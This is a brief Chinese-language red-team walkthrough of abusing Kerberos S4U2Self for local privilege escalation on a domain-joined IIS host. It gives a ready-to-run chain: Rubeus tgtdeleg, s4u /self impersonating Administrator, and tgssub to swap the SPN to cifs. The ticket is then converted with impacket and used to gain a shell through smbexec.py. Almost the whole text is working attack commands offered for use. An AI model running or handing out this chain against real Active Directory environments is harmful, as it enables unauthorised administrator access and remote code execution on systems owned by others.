一、利用場景
當獲取域內機器權限,權限為iis、Network Service等權限,就可以利用S4u2Self進行權限提升,盡管要在帳戶上專門啟用約束委派才能使用S4U2proxy 跨系統“使其工作”,但任何具有 SPN 的主體都可以調用 S4U2self去獲取針對自身的高權限票據。
二、環境演示
使用Rubeus.exe tgtdeleg /nowrap獲取當前機器賬戶的可用的TGT

然后利用上一步驟獲取到的tgt,調用S4U2self來為用戶 Administrator請求票證
Rubeus.exe s4u /self /nowrap /impersonateuser:Administrator /ticket:base64

查看服務名可以看到服務名為機器賬戶,沒有頒發有效的spn
rubeus.exe describe /ticker:base64

SPN 不是票據中受保護的一部分,可以簡單地更改它Rubeus 提供了一個命令tgssub來執行此操作
Rubeus.exe tgssub /altservice:cifs/iis.redteam.com /ticket:base64

將獲取到的Base64EncodedTicket,進行base64解碼 cat base64.kirbi | base64 -d >ticket.kirbi
使用impacket,將它轉換為linux下可用的票據:python ticketconverter.py ticket.kirbi ticket.ccache
導入:export KRB5CCNAME=ticket.ccache
python3 smbexec.py -no-pass -k -debug iis.redteam.com
、
參考鏈接:
https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/
